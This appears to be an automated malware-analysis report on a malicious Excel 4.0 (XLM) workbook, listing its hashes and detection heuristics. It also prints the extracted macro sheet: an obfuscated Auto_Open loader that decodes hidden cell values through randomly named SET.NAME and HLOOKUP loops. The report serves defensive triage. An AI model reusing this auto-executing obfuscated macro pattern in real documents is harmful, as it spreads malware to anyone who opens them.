Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 738a91ade941c1ab…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:55 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: d9af45b831b0ee7250820aeacf4b8be1 SHA-1: 70e16420e197950f64423d1fbdab82cce9caa917 SHA-256: 738a91ade941c1ab86a6db8064bf267e760041e3cf0b38306ac031bee05c0246
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6573 bytes
SHA-256: bf93ccc07b6cedfa79d653f84939a296ffcdbcefffca37dd116f58157347f83c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
18 of 35 identifiers look randomly generated (e.g. 'izLrXICzrNXS') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  zCSR
' 0018     25 LABEL : Cell Value, String Constant - AsHnntgvwg len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F193 
' 0018     25 LABEL : Cell Value, String Constant - BDWJMExxXl len=0 
' 0018     20 LABEL : Cell Value, String Constant - BpiVp len=0 
' 0018     24 LABEL : Cell Value, String Constant - cdKSRCAVD len=0 
' 0018     24 LABEL : Cell Value, String Constant - CFTtFeoRb len=0 
' 0018     26 LABEL : Cell Value, String Constant - dvqGyljjakH len=0 
' 0018     24 LABEL : Cell Value, String Constant - EvWwQhoHx len=0 
' 0018     24 LABEL : Cell Value, String Constant - fMQrqZztw len=0 
' 0018     22 LABEL : Cell Value, String Constant - hBHOPnT len=0 
' 0018     27 LABEL : Cell Value, String Constant - izLrXICzrNXS len=0 
' 0018     26 LABEL : Cell Value, String Constant - jfyTULPFhji len=0 
' 0018     23 LABEL : Cell Value, String Constant - KmJxwukW len=0 
' 0018     20 LABEL : Cell Value, String Constant - lTKfv len=0 
' 0018     24 LABEL : Cell Value, String Constant - MVecfvLsJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - pVSFamSquk len=0 
' 0018     24 LABEL : Cell Value, String Constant - rgtuPTKcA len=0 
' 0018     25 LABEL : Cell Value, String Constant - VdBrBgJlfL len=0 
' 0018     20 LABEL : Cell Value, String Constant - vhZes len=0 
' 0018     20 LABEL : Cell Value, String Constant - wCtDE len=0 
' 0018     21 LABEL : Cell Value, String Constant - WwUdyr len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  zCSR,S50,"",364.00000000000000000000
'  zCSR,S51,"",325.00000000000000000000
'  zCSR,S52,"",205.00000000000000000000
'  zCSR,S53,"",-176.00000000000000000000
'  zCSR,S54,"",-344.00000000000000000000
'  zCSR,S55,"",69.00000000000000000000
'  zCSR,F101,"SET.NAME("lTKfv",0+VALUE("0"))",""
'  zCSR,F104,"SET.NAME("BpiVp",lTKfv)",""
'  zCSR,F107,"SET.NAME("vhZes",lTKfv)",""
'  zCSR,F109,"SET.NAME("hBHOPnT",COUNTA(CFTtFeoRb))",""
'  zCSR,F112,"SET.NAME("jfyTULPFhji",COUNTA(wCtDE))",""
'  zCSR,F117,[],""
'  zCSR,F119,"SET.NAME("KmJxwukW","")",""
'  zCSR,F123,"BpiVp",""
'  zCSR,F128,"SET.NAME("cdKSRCAVD",HLOOKUP("*",CFTtFeoRb,BpiVp,FALSE))",""
'  zCSR,F133,"pVSFamSquk",""
'  zCSR,F136,"SET.NAME("MVecfvLsJ",lTKfv)",""
'  zCSR,F138,[],""
'  zCSR,F140,"MVecfvLsJ",""
'  zCSR,F143,"EvWwQhoHx",""
'  zCSR,F145,"WwUdyr",""
'  zCSR,F147,"BDWJMExxXl",""
'  zCSR,F152,"SET.NAME("VdBrBgJlfL",VALUE(HLOOKUP("*",wCtDE,BDWJMExxXl,FALSE)))",""
'  zCSR,F156,"izLrXICzrNXS",""
'  zCSR,F159,"KmJxwukW",""
'  zCSR,F164,"vhZes",""
'  zCSR,F167,NEXT(),""
'  zCSR,F172,"fMQrqZztw",""
'  zCSR,F174,[],""
'  zCSR,F178,"rgtuPTKcA",""
'  zCSR,F183,NEXT(),""
'  zCSR,F188,RETURN(),""
'  zCSR,F218,"SET.NAME("AsHnntgvwg",F101)",""
'  zCSR,F222,"CFTtFeoRb",""
'  zCSR,F227,"SET.NAME("wCtDE",R49C12)",""
'  zCSR,F230,"SET.NAME("rgtuPTKcA",238)",""
'  zCSR,F235,"SET.NAME("dvqGyljjakH",6)",""
'  zCSR,F237,AsHnntgvwg(),""
'  zCSR,F238,HALT(),""

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